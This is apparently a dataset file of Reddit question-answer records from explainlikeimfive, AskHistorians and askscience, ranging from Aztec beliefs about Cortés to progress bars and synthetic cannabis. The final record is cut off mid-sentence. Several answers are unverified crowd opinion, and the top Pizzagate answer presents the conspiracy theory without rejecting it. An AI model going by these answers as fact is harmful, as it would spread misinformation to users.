{"q_id": "5vajfh", "title": "if king jong un was educated in switzerland, how comes noone explained him that terrorising a nation is inhumane and that he didn't pick up any humanity?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5vajfh/eli5_if_king_jong_un_was_educated_in_switzerland/", "answers": {"a_id": ["de0j5m7", "de0jgix", "de0lo3b", "de0m38h"], "score": [3, 14, 5, 2], "text": ["Some times you just need to do your work even though it might clash with what you believe. There are people who write parking tickets, euthanize animals, collect debts, kill people for their country, rule a country with iron fist or telemarket. Someone else will come and do the job if you don't.", "He spent most of his life in North Korea, learning that his grandfather and father were practically living gods with unlimited power over peasants.  He was richly rewarded and reinforced for believing the same things. Any enlightenment and democratic ideals he learned in Switzerland he didn't find as appealing as the lure of power and enormous wealth he could have by being a despot. Most murderers, rapists, and thieves have learned what the moral thing to do is, but have rejected it because crime is more pleasurable to them. His brother, Kim Jong-Nam, the one he likely just had killed, was more enlightened and moral than Kim Jong-Un. He was removed from the line of succession as being weak and disobedient. Also keep in mind that to keep power, Kim Jong-Un had to become ruthless. He preferred that life to exile and possible purging.", "What makes you think getting an education in Europe makes you more humane? A certain Austrian got a western education, didn't stop him from doing some naughty things once he got control of a country. ", "I'm pretty sure he knows it's inhumane. He's just addicted to the power and wealth so he doesn't care. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "egzsis", "title": "why does the blood drain from our face when we're very scared /shocked", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/egzsis/eli5_why_does_the_blood_drain_from_our_face_when/", "answers": {"a_id": ["fcbb8x3", "fcbijat"], "score": [31, 3], "text": ["Emotions like surprise and fear are part of the \"fight or flight\" response - your body is gearing up to either punch this perceived threat in the face, or leg it, and is making the decision between which of these two things to do. As part of this, the body starts redirecting blood away from peripheral regions and towards the more core regions that will be responsible for governing your abilities while either fighting or running away, since this helps the production of energy in those parts. While you're fighting or fleeing, your face does not particularly need to be able to display complex emotions, so the body basically borrows some of the blood going to the face and sends it elsewhere.", "Your body is starting to go into shock.  Your brain basically says \"Shit is going down.  Keep as much blood as possible in the core, let those extremities fare for themselves for a while.  We need that blood in the torso!\"  \n   \nIf you undergo a more extreme version of this, you can actually pass out (faint)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1rrcgn", "title": "why does my cat get scared of the vacuum but not other loud things like action movies with explosions?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1rrcgn/eli5why_does_my_cat_get_scared_of_the_vacuum_but/", "answers": {"a_id": ["cdq2znp"], "score": [3], "text": ["The vacuum cleaner makes the floor vibrate, it's not the sound of it.  They (dogs and/or cats) don't understand why the floor's vibrating but they know that that thing you're pushing around is what's doing it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "ui85y", "title": "why if at all are tanning beds more dangerous than sunbathing outside when it comes to skin cancer?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/ui85y/eli5_why_if_at_all_are_tanning_beds_more/", "answers": {"a_id": ["c4vlsvd"], "score": [2], "text": ["[If you spend 30 seconds googling it](_URL_0_P) the top result [from The Mayo Clinic:](_URL_0_)\n\nAre tanning beds safer than natural sunlight?\nAnswer\nfrom Lawrence E. Gibson, M.D.\n\nTanning beds don't offer a safe alternative to natural sunlight. Exposure to ultraviolet (UV) radiation damages your skin, whether the exposure comes from tanning beds or natural sunlight. This damage increases the risk of skin cancer and premature skin aging. In fact, most tanning beds emit mainly UVA rays \u2014 which may increase the risk of melanoma, the deadliest form of skin cancer.\n\nIf you'd like the golden glow of a tan without exposure to damaging UV radiation, consider using a sunless tanning product. Avoid tanning beds, and use a broad-spectrum sunscreen whenever you're outdoors. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.mayoclinic.com/health/tanning/HQ01487", "http://www.mayoclinic.com/health/tanning/HQ01487P"]]}
{"q_id": "25lsn3", "title": "How did Masonic lodges of belligerent nations view each other during times of war?", "selftext": "For example, during the American Revolution, was there any correspondence between Masons in Britain and the Colonies?  How did they view each other?\n\nAnother example would be WWI.  It would seem reasonable to assume that Masons served in both the Alliance and the Entente.  ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/25lsn3/how_did_masonic_lodges_of_belligerent_nations/", "answers": {"a_id": ["chim2h7"], "score": [3], "text": ["There are quite a few first-hand accounts of Freemasons extending Masonic courtesy to each other across national divisions during wars.  \n\nThis is a [good article](_URL_3_).\n\nGettysburg National Cemetery has a [Masonic Memorial](_URL_2_) to the concept as well.\n\nI recall reading a story of a unit of American Masons providing an on the spot Masonic funeral to a German tanker in Africa during WWII. [Source](_URL_1_)  \n\nIn keeping with how divisive of a conflict it was, WWI led to quite a bit of international angst between the lodges of the various countries, with them cutting off recognition of each other. [Source](_URL_0_) This may or may not have impacted how individuals would have treated other Masons on the opposing side.\n\nYou might find this [paper](_URL_4_) on Masonry amongst prisoners of war from the Napoleonic era to present, also interesting."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://skirret.com/papers/freemasonry_and_WWI.html", "http://books.google.com/books?id=aYPqZfA4H9EC&amp;pg=PT120&amp;lpg=PT120&amp;dq=freemasonry+in+world+war+two+funeral&amp;source=bl&amp;ots=wXNjfS6w-k&amp;sig=zjv_nIyf_S88jsVgACBYS8LX_7s&amp;hl=en&amp;sa=X&amp;ei=msd0U7_JO4mS7AbHxID4AQ&amp;ved=0CGUQ6AEwDQ#v=onepage&amp;q=freemasonry%20in%20world%20war%20two%20funeral&amp;f=false", "http://communities.washingtontimes.com/neighborhood/civil-war/2012/aug/29/civil-war-tale-two-brothers-both-freemasons-gettys/", "http://www.dennistoun.org/education/ed2005.11.html", "http://www.freemasons-freemasonry.com/prisoner.html"]]}
{"q_id": "265fou", "title": "the difference between sti's and std's.", "selftext": "I'm confused.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/265fou/eli5_the_difference_between_stis_and_stds/", "answers": {"a_id": ["chnu2qo", "chnxjn0"], "score": [6, 6], "text": ["Not sure on how valid this may be, but I was told that they were called STDs but changed them to STIs as more of a politically correct thing.  Trying to remove the stigma associated with \"disease\".\n\nRather than saying the person has a disease (They are the problem), it was the person was infected (Someone else was the problem).", "Sometime in the late 90s/early 2000s, the medical community decided to change the terminology to be more accurate.  Nothing has really changed other than the words used to name it.\n\nGonorrhea would have been an STD in 1987 but in 2014, it's an STI."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1rgsfl", "title": "Is there any truth to the commonly cited fact that the Aztecs believed the Spanish were gods?", "selftext": "I feel like I hear this alot, often the story goes that they had in fact even predicted the return of Quetzalcoatl on precisely the day the Spanish arrived. This all sounds like made up sensationalist garbage, but it's quite an amazing coincidence if it's true. Thoughts?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1rgsfl/is_there_any_truth_to_the_commonly_cited_fact/", "answers": {"a_id": ["cdn7avv"], "score": [544], "text": ["Excuse the laziness, but I'm cannibalizing earlier posts I've made on this topic. \n\nThis is a very complicated topic and your question doesn't have a simple answer. There's a nugget of truth in this relating to events described in the primary sources, but popular perception of what happened has been heavily distorted in a way that bares little resemblance to the truth. Essentially, a number of factual events, misunderstandings, and outright myths have been confused with each other over time. This has ultimately produced this elaborate (but largely inaccurate) story that Cort\u00e9s was an incarnation of Quetzalcoatl.\n\n**Mesoamericans calling Europeans Gods**\n\nThere's a common tendency for European conquest sources to describe the natives referring to the Europeans as gods. Most of the Spanish accounts just take this for granted. The only first-hand account I've been able to find that seems to hint at what the natives might have actually thought is this quote from Bernal Diaz del Castillo. Bit of context, Cort\u00e9s had just told the local Totonac people to imprison an Aztec tribute collector. They explained this was effectively a declaration of war, to which Cort\u00e9s replied that he would take responsibility for it. The Totonacs were shocked:\n\n > The act they [the Totonac nobles] had witnessed was so astonishing and of such importance to them that they said no human beings dared to do such a thing, and it must be the work of teules. Therefore, from that moment they [natives] called us [Spanish] teules, which means gods or demons.\n\nAfter this, the conquistadors start calling themselves \"teules,\" and the natives apparently do too.\n\nThere's a few issues with this though. First, \"Teule\" isn't a word. \"Teotl\" is, but it isn't a word in Totonac. It's a Nahuatl word. The Totonacs translated their word into Nahuatl, and then from there it was translated to Mayan, and from there to Spanish, where it was rendered as \"gods or demons.\" It's hard to know what the original context of the phrase was because we don't know how it was used in the Totonac language. When later people continue calling the Spanish teotl, it's unclear if they actually thought the Spanish were divine or if they're just calling them that because the Spanish are calling themselves that.\n\n**Possible Meanings**\n\nThe other problem comes with different concepts of divinity. The Mesoamerican concept of a \"teotl\" is not the same as the Grecko-Roman concept of a god. It's probably closer to the idea of a kami in the Shinto religion, in that it's not necessarily omnipotent or immortal. To put it another way, if you were to try to translate the major figures of the Christian religion into the Aztec world view, God, the Devil, all of the saints, all of the demons, all of the angels, and all of the prophets would be rendered as \"teotl\". For that matter, so would elves, goblins, fairies, or other creatures of Germanic folklore.\n\nSo when the natives were calling the Spanish \"teotl,\" they could have meant gods, or they could have just meant non-human. Or they could have meant that they were human, but simply had the backing of supernatural powers. For all we know, the Totonac lords could have meant it sarcastically. We only have the interaction recorded in Spanish, so there's no way to know. Either way, the Spanish thought that the natives thought they were gods and they began claiming divinity.They continually referred to themselves as 'teules.' When the Spanish arrived in Tenochtitlan, Motecuzoma put a stop to this immediately (Diaz del Castillo 2003 p207):\n\n > [Cort\u00e9s], I know very well that these people of Tlaxcala with whom you are such good friends have told you that I am a sort of God or [teotl] ... I know well enough that you are wise and did not believe it but took it as a joke. Behold now, Se\u00f1or [Cort\u00e9s], my body is of flesh and bone like yours ... that I am a great king and inherit the riches of my ancestors is true, but not all the nonsense and lies that they have told you about me, although of course you treated it as a joke, as I did your thunder and lightning.\n\nIt doesn't take a PhD to see that while Motecuzoma is talking about himself here, he's also talking about Cort\u00e9s. He's letting Cort\u00e9s know that he knows he's just a human being, so he should stop claiming to be something else. Now, during the early colonial period the Spanish didn't have the nuanced understanding of this that we do now, and this \"Spaniards as gods\" thing was accepted as historical fact for a while.\n\n**Cortes as Quetzalcoatl**\n\nAfter the conquest, this myth got conflated with another myth: the returning god-king Quetzalcoatl Topiltzin. Some time (likely in the 13th century AD) there was a king of a city called Tula named Ce Acatl Topiltzin Quetzalcoatl. (IIRC, he was probably a real person as his name is carved on a pillar at the site of Tula, but much of his story has obviously been mythologized.) He was basically like a Mesoamerican \"King Arthur\" and is closely associated with the god Quetzalcoatl for whom he is named. (Often the two are equated with each other. Mesoamerican concepts of divinity are complicated and it wasn't uncommon for kings to associate themselves with gods.) The story goes that his nobles were jealous of his power, and so they tricked him into disgracing himself and forced him into exile. Before he left, he cursed those who betrayed him and vowed one day that he would return to reclaim his lost kingdom. He then got on boats and went east across the ocean. (If the story is true, he likely went to the Yucatan Peninsula, which is due east from the coast nearest to the Basin of Mexico.)\nDuring the Early Colonial period, this story got conflated with Cort\u00e9s. Supposedly the Aztecs believed that Cort\u00e9s was a reincarnation of Quetzalcoatl Topiltzin - supposedly because he arrived in the year One Reed. One Reed was the calendrical portion of Quetzalcoatl Topiltzin's name (Ce Acatl). However, most modern scholars (for example, Mike Smith, Matthew Restall, etc.) consider this to be one of these post-hoc prophecy attributions. Cort\u00e9s does not mention it in his letters to the King of Spain, and Bernal Diaz del Castillo only makes vague references to a prophecy about \"white men with beards\" who would rule over Mexico. However, Diaz del Castillo was writing decades after the fact, when this legend of Cort\u00e9s-as-Quetzalcoatl had already been established. It seems more likely that the prophecy was attributed to Cort\u00e9s after the conquest as a means of explaining what happened.\n\n**EDIT**: Okay so I'm expanding this in light of Sahag\u00fan's mention of it, since I largely excluded that. As others have pointed out, the attribution of the Quetzalcoatl prophecy to Cort\u00e9s is discussed by Sahag\u00fan, who is writing decades after the conquest but largely pulling the account from indigenous informants. However, Sahag\u00fan began writing his work in the 1540s - 20 years after the conquest. In order to understand how his work might have been biased, you need to understand what happened in the intervening period. As Restall (2003:112-114) demonstrates, Franciscan missionaries like Motolin\u00eda began the process of converting the Aztecs to Christianity in the late 1520s. This proved difficult because the Aztecs saw them as foreigners imposing a foreign religion. To offset this, the Franciscans decided that it helped if the natives saw the conquest as divinely ordained. They began collecting stories from immediately before the conquest and pitching them as omens and signs of the coming conquest. The story of the returning god-king Quetzalcoatl Topiltzin became part of this. The Cortes-as-Quetzalcoatl story became part of the conversion efforts. And as /u/400-Rabbits pointed out (referencing Brumfiel), many of Sahag\u00fan's informants were Christian Nahuas, who would have been influenced by these early missionaries. Not surprisingly, Sahag\u00fan's version of events is filled with doomsday prophecies and stresses how Cortes was misinterpreted to be a reincarnation of Quetzalcoatl. This obviously raises the question as to whether or not they thought this was the case *before* the conquest, or if this was something they believed *after* their conversion to Christianity. Most scholars today (with a few notable exceptions like Miguel Leon-Portilla) seem to lean towards the latter interpretation, if for no other reason than the version of the Quetzalcoatl myth in the colonial sources describes Quetzalcoatl as having white skin and a beard. He most certainly did not; that is definitely an intrusion of Christian motifs. The answer, of course, could also be somewhere in the middle - perhaps *some* believed Cortes to be Quetzalcoatl Topiltzin, but the belief became more widespread after the conquest. It is, in the end, impossible to know for sure.\n\n* Diaz del Castillo, Bernal. 2003. *The Discovery and Conquest of Mexico.* A.P. Maudslay (translator).\n\n* Smith, Mike. 2003. *The Aztecs*. Blackwell Publishing, Malden, MA. \n\n* Restall, Matthew. 2003. *Seven Myths of the Spanish Conquest*."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "a55616", "title": "how come that in this time and age, 95% of the oceans on earth are still unexplored by humans?", "selftext": "One would think that with the technology at hand and the unrelenting exploring nature of homo sapiens that we would have both visited and clearly mapped out all of the ocean floor. We are not far from visiting other planets in our solar system.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a55616/eli5_how_come_that_in_this_time_and_age_95_of_the/", "answers": {"a_id": ["ebjxj8a", "ebjxjf7", "ebjxkp9", "ebjxzy5", "ebl5y13"], "score": [17, 8, 12, 2, 2], "text": ["A: we have not visited all of the ocean floor.\n\nB:  The floor is only 1% of the ocean.   The other 99 is what's between the surface and the floor.", "We are reaching deeper depths. But it takes time, money, and technology. Its mapped as far as we are concerned just not explored.\n\nLook into how much pressure water creates. Ever swam down past 10 feet snd had your ears hurt? It doesnt take very far. A car sinks just a little bit and its impossible to open the door.\n\nNow multiply that by 10000 and you get pressures at the bottom of the ocean.\n\nWhat submarine can withstand that?\n\nAnd the ones that have been built to withstand the most extreme pressures in nature have a limited time on the bottom.\n\nYou cant just ride around down there for weeks on end", "It depends on what you mean by unexplored. We have conducted tons of explorations of the ocean and have mapped it it great details. However we have not actually seen most of the ocean floor with our own eyes or even with cameras as this does not give us as much bang for our bucks as different remote sensing techniques. We have however discovered all the interesting features on the ocean floor and have made visits to representative samples of those in order to better understand them. But as most of the ocean floor is boring flat sand we are unlikely to ever visit it. You can also say similar things about other hard to reach places like the Himalayan mountains or the Antarctic. Most of our information about those places comes from looking at it from a distance.", "You know how when we talk about advances in technology we reference a time in the past where the best thing we had to throw at a task was absurd and laughable to think about now, and we marvel at how far we've come and wonder how anyone ever got on in those olden times?\n\nWell when it comes technological advances that help us explore the ocean, right now we are those laughable ye olden times. We've come far by comparison to our past, sure, but we've got a looooooong way to go. We aren't as advanced as we think we are, we just happen to be the most advanced thing we happen to know about right now.", "It's hard to explore somewhere we can't naturally live. Additionally, the oceans are where life originated, so the complexity of biology in the oceans is probably greater than that on land. We also can't see forever in the ocean like we can in air, so we can't just take satellite pictures and see what's there. There's more room to hide from human curiosity in a giant, misty abyss."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "fw2rkh", "title": "what is happening when uploads/downloads get stuck at 99%?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/fw2rkh/eli5_what_is_happening_when_uploadsdownloads_get/", "answers": {"a_id": ["fmlvwgs", "fmmc7ez", "fmmhuzv", "fmmm5gz"], "score": [71, 2, 3, 3], "text": ["The first thing you should know is that progress bars aren\u2019t real. They are somewhat linked to actual progress, but they do not accurately measure progress; they\u2019re just there for the user to be able to visualize what\u2019s happening. That\u2019s why they get stuck on 99% so often; the bar has to keep going forward but if it miscalculates, or if there is a dip in internet speed, or if the next packet to arrive is huge, it can\u2019t usually go back and show less progress. So instead it just stalls at 99%. That being said there are many reasons why the last 99% takes a while. It can be an integrity check of all the previous packets, a very large packet that just takes a long time, or your internet speed or the server speed dips for a variety of reasons.", "It's not having trouble downloading the last little bit, it's because the progress bar is only an estimate. But it won't go to 100% until it's completely finished downloading. So if the estimate gets to 99% before the actual download does, it will wait there until the download is actually finished.", "Usually it's because the software is doing one or more of the following things:\n\nHash check/checksum - makes sure that the file isn't corrupted, and is in fact the file you intended to upload/download.\n\nSignature Check - makes sure the file came from a trusted source.\n\nDecompression - many downloads come in compressed data formats that must be decompressed before they can be used. Sometimes this is done automatically by the downloader.\n\nRestore points - for things like system  &  software updates the software creates a restore point before applying the downloaded update. That way you can revert back to the way it was if the update breaks something.\n\nTorrent Seeding - most torrent clients will want to try to seed any files that you download from them so that others can download parts of the file from you.\n\nContent screening - when uplading a file most web services employ various methods of screening the file for illegal, inappropriate, copyrighted, malicious, or other offending content.\n\nAnti-virus - when uploading or downloading a file, the file is usually scanned by anti-virus before the upload/download is allowed to complete.\n\nCopy  &  paste - some downloaders save the file in a temporary location while its downloading, then copy it to the downlads folder when its done.\n\nReformatting - when uploading media files to a service, that service may need to convert the file into a different format. For example: when uploading an image in .bmp format to an image hosting or social media site, the site will most likely convert it to .jpg or .png because those formats are smaller and can be shared more easily. Additionally the site may want to generate a thumbnail or preview clip for the file.\n\nEdit: typo", "Obligatory xkcd: _URL_0_\n\nELI5: A progress bar \u201eguesses\u201c the real progress. Much like you would when you tell your parents that \u201eyou\u2019ll be home any minute\u201c. Any \u201eunforeseen\u201c hiccup in the last minutes towards the deadline will have a large impact on your ability to be home on time. Say you meet your friend Bob and have a quick chat. If you only have a few minutes left the chat would probably make you late. On the other hand, if you still have 2 hours time the chat with Bob will probably not have an impact on being on time or not.\n\nAlso Progress often is doing a lot of different things: e.g. to clean your room you need to pick up your stuff, vacuum the floor and bring out the trash. A progress bar has to guess right from the start how many socks you\u2019ll pick up, if vacuuming the floor is enough or if you need to get a mop as well. If any of the guesses is wrong, the estimation is wrong \u2014 but you\u2019ll only see that it is wrong (and how wrong) after you have cleaned your room (just before 100% done)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://xkcd.com/612/"]]}
{"q_id": "4fcrjj", "title": "My grandpa has got a few weeks left to live and I would like to document as much of his life as possible but I have never done this before. What is the best way to do this?", "selftext": "I'm just looking for ways to save his stories for telling future generations.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4fcrjj/my_grandpa_has_got_a_few_weeks_left_to_live_and_i/", "answers": {"a_id": ["d27wpq8", "d27ygl4", "d286cqs", "d286uuo", "d28r1xa", "d28tazy"], "score": [45, 12, 2, 9, 2, 2], "text": ["Conduct an oral history.  Get a tape recorder, ask him a couple open-ended questions, and let him just talk.  ", "Ask him about people who were important to him, then why.  Ask him about places that meant something to him, and why.  Ask him about events in his life that were important, then who was there, and why it was important.  Ask him about how these things, events, people, impacted his life later on.   \n\nAsk him about the things that made him who he is today.\n\n", "It's worth getting some genealogical info. Even just general, who his relatives were, the earliest ancestors he knows of, their jobs, where they live etc.\n\nEven if you're not interested in it yourself, a lot of information may exist solely in his head, and if not recorded will be lost for anyone else whose interested in his ancestry.\n\nIn 200 years, he will probably have hundreds or thousands of descendants, many of whom may be interested in their ancestry.", "StoryCorps has some [tips for interviewing](_URL_1_), they also have [an app](_URL_0_) that you might be interested in.  ", "Ask him if he'd like to participate and be open to the possibility that he may have other plans for his final days.", "Find popular songs from different periods of his life...  Helps to jog the memory "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://storycorps.me/", "https://hf-mirror.net/_cdn/storycorpsme.s3.amazonaws.com/uploads/2015/10/Interview-Tips.pdf"], [], []]}
{"q_id": "9cxnhv", "title": "how can video games have so many reviews when it still won't be released for 3 days", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9cxnhv/eli5_how_can_video_games_have_so_many_reviews/", "answers": {"a_id": ["e5dweha"], "score": [2], "text": ["There are usually events set up with an early access to the game, where the company invites certain people to play. They usually invite critics and such, but sometimes they invite YouTubers and even allow them to record the gameplay in hopes to advertise themselves through them."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "477vem", "title": "What was the temperature at Planck time and GUT transition?", "selftext": "During the early Universe the relation between time and temperature is given by\nt = 2.4 * g^-1/2 * (T/1 MeV)^-2 s,\nwhere g is relativistic degrees of freedom (which should be 106.75 at above the electroweak transition).\n\nIs this the right formula to use to get the temperature at Planck time (5.39 * 10^-44 s) and similar to get time at GUT transition at e.g T=10^15 GeV? \n\nThe degrees of freedom, g,  should grow as we go back in time. Are there any estimates for this at the Grand Unified Epoch and Planck Epoch?\n\nThe reason I started thinking about this was that I kind of always though the temperature at the Planck time was just the Planck temperature...\n\nPS: Short answers are welcome :)", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/477vem/what_was_the_temperature_at_planck_time_and_gut/", "answers": {"a_id": ["d0axb2n"], "score": [19], "text": ["That formula applies exclusively for the radiation-dominated era. You can see that by reviewing the derivation. So it clearly only applies from the end of inflation up to matter-radiation equivalence.\n\nMany people assume the GUT scale is around the end of inflation; in that case the formula should work for GUT and should not apply for Planck."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "19p2vl", "title": "is the pirate bay really now hosted in north korea? and if it's fake, how is that done?", "selftext": "NT", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/19p2vl/eli5_is_the_pirate_bay_really_now_hosted_in_north/", "answers": {"a_id": ["c8q1cx5", "c8q2l85", "c8q30br", "c8q4pr6"], "score": [10, 12, 6, 66], "text": ["I know bumping doesn't officially have an effect on Reddit posts, but this intrigues me, so I hope my response makes it seem like a hot topic to people who know what they're talking about.", "It should be noted nobody really knows if they're located in North Korea or not. The Pirate Bay is known for pulling pranks from time to time, and publicity is always a good thing when it comes to The Pirate Bay. At the moment, there are some people who are skeptical of the move, saying that it's IP spoofing (as the IP address is saying the servers are located in North Korea). However, nothing's been proved yet and there's no way to be certain they actually moved their servers.\n\nIf they did move, it seems like an odd choice. On one hand, North Korea has extreme internet censorship, which completely contradicts TPB's stances, not to mention that the dictatorship status makes it easy for a government take down. However, it would be very safe from copyright worries in North Korea.\n\nAs for how it could be faked, as previously mentioned, it's possible to spoof an IP address. IP addresses normally show the rough location of an internet enabled device (by their ISP), but it is possible to fake that.", "If you watch AFK the pirate bay movie you'll see that their server cluster is actually in a hidden location somewhere. \n\nNK, and the Pirate Party before it, just redirect through their network to hide the real location of the cave.", "Its a hoax.\n\nIt was meant to point to the absurdity of Western Governments who simultaneously criticize nations like North Korea for the repression of speech while also try to shut down sites like TPB. (A bit of an oversimplification but that's what TPB said was their point anyway).\n\nTPB main hosting server was last moved to Norway. But in reality all their torrents are now mirrored, so the website is now everywhere. A move designed to preempt any government shutting them down. Think of that last scene in Terminator 3 when they thought killing one computer would stop skynet, only to realize skynet was ALL the computers.  \n\nEdit: Uh-Oh'ed a word or two."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "8c7pbg", "title": "why do airline pilots print off large piles of paper on a dot matrix printer at the gate?", "selftext": "What is on those sheets of paper?\n\nIs there not an electronic way to do this?\n\nDo they rip off the edges of the dot matrix paper and call it \u201cprinter bacon\u201d like I did when I was little?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8c7pbg/eli5_why_do_airline_pilots_print_off_large_piles/", "answers": {"a_id": ["dxcq7x9", "dxcvj1x", "dxd0ilu"], "score": [9, 2, 35], "text": ["They need a hard copy of the flight plan in case they have a hardware failure. And even then, they won't rely completely on the electronics to fly correctly. A plane isn't navigated by electronics as such because aeroplanes rely on analog hardware to control the aircraft.", "Flight plan, passenger manifest. Documents are requested by international or national regulations and slow to change, but are now moving to iPads in some cases.", "Airline pilot here. TLDR - this is the simple way to produce documents that have to be signed and then copies go to various different places.\n\nOften when we get to the gate we collect the flight plan, weather charts and briefing information. This is mostly laser printed and is a backup to the same content on our company ipads.\n\nThe documents that you may see being printed on a dot matrix printer include the loadsheet, fuel receipt, dangerous goods declaration / notice to captain etc. The significance of this is that an impact method printer like dot matrix can be used with carbon paper to produce duplicate/triplicate copies of the document. These particular documents are legal documents that require the captain\u2019s signature on them. Therefore, these documents are printed off, the captains signs on them, then a copy stays with the crew, a copy goes with the dispatcher and a copy gets filed somewhere.\n\nIt\u2019s a simple way to evidence what documentation was used for the flight and to ensure there are no discrepancies between what the crew are using and what ops have on record. You can\u2019t really do that with a laser printer or an ipad (at the moment)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "croe2h", "title": "how do human breath oxygen while there are so many different elements in the air?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/croe2h/eli5_how_do_human_breath_oxygen_while_there_are/", "answers": {"a_id": ["ex7f86u", "ex7fvpv", "ex7h3hw", "ex7vi9f"], "score": [5, 3, 2, 5], "text": ["We have hemoglobin in our blood. It strongly bonds to oxygen. It also strongly bonds to carbon monoxide which is why carbon monoxide is deadly. It essentially suffocates us from within.", "Only the oxygen binds with the hemoglobin in our blood. The rest of the air (which is mostly nitrogen) just passes through. Of course there are exceptions which is how some things we breathe can affect us.", "Oxygen is what reacts with most stuff in our body, it is absorved easly because the hemoglobin in our blood and it's used to convert glucose in to energy. There are few things you can do with nitrogen in comparison that gives energy our is usefull", "You are wrong there are not many different elements in air; over 99% of the air you breath is oxygen or nitrogen.  Nitrogen has a very very strong triple bond which makes is all but inert.  Oxygen has a weaker  (but still strong double bond) and can react with organic stuff to give carbon dioxide, water and energy.  We use that energy to live."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "5egint", "title": "what is pizzagate?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5egint/eli5_what_is_pizzagate/", "answers": {"a_id": ["dac9ojz", "dac9q45", "dac9w1r"], "score": [17, 2, 2], "text": ["Has to do with the Podesta email leaks. Some people were reading through them and noticed that words like \"pasta\" \"pizza\" \"ice cream\" \"map\" \"hot dog\" etc. were being used in odd places, almost as if they were some sort of code. So they kept reading through them trying to find some sort of connection or solution to the \"code words\" and ultimately deduced that they were referring to having sex with children/prostitutes and linked it with a pizza shop connected with a child sex ring called Comet Pizza.  \n  \nNot saying any of it is true or untrue, but that's just what it's all about.", "Pizzagate was a *hoax news story* that suggested a group of pedophiles, operating out of a pizza company, was loosely attached to a friend of the Clinton family.", "I might be wrong but isn't it about the news story of a game between arsenal and man united a few years ago where there was a brawl in the tunnel after the game and Alex ferguson got hit with a slice of pizza? "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "97ymu3", "title": "what's the difference between the synthetic cannabis that people are od'ing on and regular cannabis, which is nearly impossible to od on?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/97ymu3/eli5_whats_the_difference_between_the_synthetic/", "answers": {"a_id": ["e4bzjne", "e4bzmbr", "e4bzpxe", "e4c14cv"], "score": [7, 3, 5, 3], "text": ["This isn\u2019t going to be the best answer, but as good as I can really give. Depending on what type it is, some are advertised as not to be smoked. But Since THC is what\u2019s illegal companies will try to replicate the molecular structure as best as possible but it\u2019ll differ by just a little bit in order to obviously not produce something illegal. Some of the ones like the one called \u201cspice\u201d have on the packaging that it\u2019s not meant to be smoked, this was similar to the whole bath salts thing.  And more or less there\u2019s companies trying to make some money by using chemicals which are generally cheap and replicating something that is close, but since the structure is different it\u2019s digested differently and doesn\u2019t necessarily bond to cannabinoid receptors in your body the same way and when it\u2019s digested or ignited the structure changes and there can be some molecules of chemicals that make you OD. What happens now is that the synthetic one they made let\u2019s just say is C2N5O8 as their chemical is made illegal, the company will just add a molecule, get rid of one, add a carbon ring, something to make it different even if they just add one more nitrogen to what I had said. It\u2019s now considered a completely different structure and totally legal and they begin selling it again. THC is okay because the body has the receptors and when consumed there\u2019s no extra left overs or other substances that trigger those problems. Hope that helps/I hope someone with more scientific knowledge replies to your post.", "\"Synthetic cannabis\" refers to manmade chemicals that are attempting to mimic THC, generally put on some sort of inert herb.  They're minimally tested for quality and nobody's bothered doing any large tests for side-effects or long-term consequences.\n\nActual weed, OTOH, has been used by people for hundreds/thousands of years and it's effects are largely understood  &  known to be generally safe.", "The worst thing about synthetic cannabis is that most people don't even know what it's made of. It contains chemicals that activate some of the same receptors in your brain as pot, but can also trigger other changes in your body: elevated heart rate and blood pressure are the biggest killers, I believe, and can cause heart attack or stroke.\n\nI used spice off and on for years, and it's gone from fake weed to something more akin to candy heroin. Very addictive. Very dangerous.\n\nThe chemicals are typically sprayed onto some sort of plant material using a squirt bottle like you'd find Windex in. One big issue is \"hot spots\". A hot spot is created by spraying more chemical in one spot, like when 